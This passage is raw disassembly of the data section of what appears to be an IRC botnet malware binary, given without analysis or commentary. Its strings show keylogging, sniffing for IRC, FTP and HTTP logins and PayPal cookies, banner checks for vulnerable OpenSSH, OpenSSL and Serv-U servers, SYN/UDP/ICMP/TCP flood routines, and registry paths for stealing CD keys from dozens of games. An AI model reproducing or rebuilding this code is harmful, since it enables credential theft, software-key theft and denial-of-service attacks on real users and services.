		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dword_43523C	dd 0BFh, 2Fh, 2E000000h, 3Fh, 0	; DATA XREF: ___:off_435DD4o
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_4354E4	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_435514:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 10h
		dd offset off_435DD8
		dd offset off_435DD4
		dd offset off_435DD0
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:0043556Co
		align 10h
off_435DD0	dd offset word_505446	; DATA XREF: ___:00435568o
off_435DD4	dd offset dword_43523C+0Dh ; DATA XREF:	___:00435564o
off_435DD8	dd offset loc_544F41+1	; DATA XREF: ___:00435560o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_43604C	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_436084	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360BC	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_4360F0	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436124	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436158	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_436188	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4361DC	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_436404	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_4367F4	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436808	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 10h
dword_436840	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_436854	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_436868	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_436884	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 10h
		dd 80000001h
off_4368B4	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368C0	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 437A44h, 437A38h,	437A28h, 2 dup(0)
		dd 80000001h, 437A08h, 437A04h,	4379F0h, 2 dup(0)
		dd 80000001h, 4379CCh, 437A04h,	4379C0h, 2 dup(0)
		dd 80000001h, 43799Ch, 437994h,	437980h, 2 dup(0)
		dd 80000001h, 43796Ch, 43795Ch,	437940h, 2 dup(0)
		dd 80000001h, 4378FCh, 437A84h,	4378E8h, 2 dup(0)
		dd 80000002h, 4378BCh, 4378B0h,	437890h, 2 dup(0)
		dd 80000002h, 43785Ch, 437A84h,	437844h, 2 dup(0)
		dd 80000002h, 437810h, 437A84h,	4377F8h, 2 dup(0)
		dd 80000002h, 4377E0h, 437A84h,	4377C8h, 2 dup(0)
		dd 80000002h, 43778Ch, 43D7D8h,	43777Ch, 2 dup(0)
		dd 80000002h, 437744h, 43D7D8h,	437730h, 2 dup(0)
		dd 80000002h, 4376E4h, 43D7D8h,	4376C4h, 2 dup(0)
		dd 80000002h, 437674h, 43D7D8h,	437648h, 2 dup(0)
		dd 80000002h, 43760Ch, 43D7D8h,	4375F8h, 2 dup(0)
		dd 80000002h, 4375C0h, 43D7D8h,	4375B0h, 2 dup(0)
		dd 80000002h, 437560h, 43D7D8h,	437534h, 2 dup(0)
		dd 80000002h, 4374F4h, 43D7D8h,	4374D8h, 2 dup(0)
		dd 80000002h, 4374A8h, 43D7D8h,	437488h, 2 dup(0)
		dd 80000002h, 43744Ch, 43D7D8h,	437438h, 2 dup(0)
		dd 80000002h, 4373F0h, 43D7D8h,	4373D0h, 2 dup(0)
		dd 80000002h, 43737Ch, 43D7D8h,	43734Ch, 2 dup(0)
		dd 80000002h, 4372FCh, 43D7D8h,	4372D0h, 2 dup(0)
		dd 80000002h, 437290h, 437288h,	437268h, 2 dup(0)
		dd 80000002h, 437224h, 43D7D8h,	437208h, 2 dup(0)
		dd 80000002h, 4371BCh, 43D7D8h,	437198h, 2 dup(0)
		dd 80000002h, 437164h, 43D7D8h,	437158h, 2 dup(0)
		dd 80000002h, 437124h, 43D7D8h,	437118h, 2 dup(0)
		dd 80000002h, 4370E4h, 43D7D8h,	4370D8h, 2 dup(0)
		dd 80000002h, 4370A4h, 43D7D8h,	437098h, 2 dup(0)
		dd 80000002h, 43705Ch, 43D7D8h,	437048h, 2 dup(0)
		dd 80000002h, 43700Ch, 43D7D8h,	436FF8h, 2 dup(0)
		dd 80000002h, 436FC8h, 437A84h,	436FACh, 2 dup(0)
		dd 80000002h, 436F8Ch, 436F84h,	436F60h, 2 dup(0)
		dd 80000002h, 436F44h, 436F84h,	436F24h, 2 dup(0)
		dd 80000002h, 436F04h, 436F84h,	436EE0h, 2 dup(0)
		dd 80000002h, 436EC8h, 436F84h,	436EC4h, 2 dup(0)
		dd 80000002h, 436EA8h, 436E98h,	436E90h, 2 dup(0)
		dd 80000002h, 436E5Ch, 42C8DCh,	436E44h, 2 dup(0)
		dd 80000002h, 436E08h, 436DFCh,	436DD4h, 436DC4h, 436DB0h
		dd 80000002h, 436D8Ch, 436D80h,	436D6Ch, 436D5Ch, 436D54h
		dd 80000002h, 436D8Ch, 436D80h,	436D28h, 436D5Ch, 436D20h
		dd 80000002h, 436D8Ch, 436D80h,	436CF0h, 436D5Ch, 436CE8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
